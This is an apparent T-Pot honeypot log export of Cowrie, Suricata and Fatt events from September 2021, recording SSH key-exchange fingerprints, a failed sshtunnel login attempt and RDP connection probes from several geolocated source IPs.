36264	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:13:25.394966+03	2021-09-20 15:15:04.352691+03	{"_id": "agYgA3wBvYTbRNuEEWGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b928d3ebe086", "@version": "1", "timestamp": "2021-09-20T12:13:25.394966Z", "@timestamp": "2021-09-20T12:13:25.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36265	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:13:25.394151+03	2021-09-20 15:15:04.35369+03	{"_id": "bAYgA3wBvYTbRNuEEmHK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 883328658231700, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40058, "dest_port": 22, "timestamp": "2021-09-20T12:13:25.394151Z", "@timestamp": "2021-09-20T12:13:25.394Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36268	159.253.30.249	109.199.241.180	Fatt	2021-09-20 15:13:19.070261+03	2021-09-20 15:15:04.357728+03	{"_id": "VAYfA3wBvYTbRNuE-GFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39396, "dest_port": 22, "timestamp": "2021-09-20T12:13:19.070261", "@timestamp": "2021-09-20T12:13:19.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	SE
36269	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:13:19.070856+03	2021-09-20 15:15:04.36069+03	{"_id": "XQYfA3wBvYTbRNuE-mE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6385653c79e5", "@version": "1", "timestamp": "2021-09-20T12:13:19.070856Z", "@timestamp": "2021-09-20T12:13:19.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	SE
36270	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:13:19.437775+03	2021-09-20 15:15:04.36169+03	{"_id": "XgYfA3wBvYTbRNuE-mE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [sshtunnel/sshtunnel] failed", "session": "6385653c79e5", "@version": "1", "password": "sshtunnel", "username": "sshtunnel", "timestamp": "2021-09-20T12:13:19.437775Z", "@timestamp": "2021-09-20T12:13:19.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	SE
36271	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:13:19.068331+03	2021-09-20 15:15:04.36269+03	{"_id": "XwYfA3wBvYTbRNuE-2FY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 161248018612646, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39396, "dest_port": 22, "timestamp": "2021-09-20T12:13:19.068331Z", "@timestamp": "2021-09-20T12:13:19.068Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	SE
36272	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:13:20.498922+03	2021-09-20 15:15:04.36469+03	{"_id": "YAYfA3wBvYTbRNuE_mEn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6385653c79e5", "@version": "1", "duration": 1.5372364521026611, "timestamp": "2021-09-20T12:13:20.498922Z", "@timestamp": "2021-09-20T12:13:20.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	SE
36273	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:13:27.868236+03	2021-09-20 15:15:04.36569+03	{"_id": "dgYgA3wBvYTbRNuEHWFr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b928d3ebe086", "@version": "1", "duration": 2.7487893104553223, "timestamp": "2021-09-20T12:13:27.868236Z", "@timestamp": "2021-09-20T12:13:27.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36274	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:28.507562+03	2021-09-20 15:15:04.36769+03	{"_id": "eAYgA3wBvYTbRNuEHmGE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:28.256921+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 1242362154642329, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 44014, "timestamp": "2021-09-20T12:13:28.507562Z", "@timestamp": "2021-09-20T12:13:28.507Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36275	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:18.96264+03	2021-09-20 15:15:04.368691+03	{"_id": "WgYfA3wBvYTbRNuE-GGu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39396, "timestamp": "2021-09-20T12:13:18.962640", "@timestamp": "2021-09-20T12:13:18.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36276	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:13:18.958981+03	2021-09-20 15:15:04.369689+03	{"_id": "XAYfA3wBvYTbRNuE-mE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:39396 (192.168.176.2:22) [session: 6385653c79e5]", "session": "6385653c79e5", "@version": "1", "protocol": "ssh", "src_port": 39396, "dest_port": 22, "timestamp": "2021-09-20T12:13:18.958981Z", "@timestamp": "2021-09-20T12:13:18.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	SE
36277	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:13:28.589867+03	2021-09-20 15:15:04.37169+03	{"_id": "dwYgA3wBvYTbRNuEHmGE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:28.256921+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1242362154642329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44014, "dest_port": 3389, "timestamp": "2021-09-20T12:13:28.589867Z", "@timestamp": "2021-09-20T12:13:28.589Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36287	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:13:37.581596+03	2021-09-20 15:15:04.384689+03	{"_id": "iQYgA3wBvYTbRNuEQWGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 337522067636073, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49764, "dest_port": 22, "timestamp": "2021-09-20T12:13:37.581596Z", "@timestamp": "2021-09-20T12:13:37.581Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36278	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:13:28.339542+03	2021-09-20 15:15:04.372691+03	{"_id": "egYgA3wBvYTbRNuEHmGG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:28.256921+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1242362154642329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44014, "dest_port": 3389, "timestamp": "2021-09-20T12:13:28.339542Z", "@timestamp": "2021-09-20T12:13:28.339Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36279	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:13:28.589867+03	2021-09-20 15:15:04.373692+03	{"_id": "ewYgA3wBvYTbRNuEHmGG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:28.256921+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1242362154642329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44014, "dest_port": 3389, "timestamp": "2021-09-20T12:13:28.589867Z", "@timestamp": "2021-09-20T12:13:28.589Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36280	94.232.41.165	109.199.241.180	Fatt	2021-09-20 15:13:28.339542+03	2021-09-20 15:15:04.37569+03	{"_id": "fAYgA3wBvYTbRNuEH2F9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 44014, "dest_port": 3389, "timestamp": "2021-09-20T12:13:28.339542", "@timestamp": "2021-09-20T12:13:28.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	RU
36281	157.240.9.19	109.199.241.180	Suricata	2021-09-20 15:13:30.499947+03	2021-09-20 15:15:04.376691+03	{"_id": "fgYgA3wBvYTbRNuEJmFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:30.499947+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.19", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.19", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 858473682870507, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39616, "timestamp": "2021-09-20T12:13:30.499947Z", "@timestamp": "2021-09-20T12:13:30.499Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
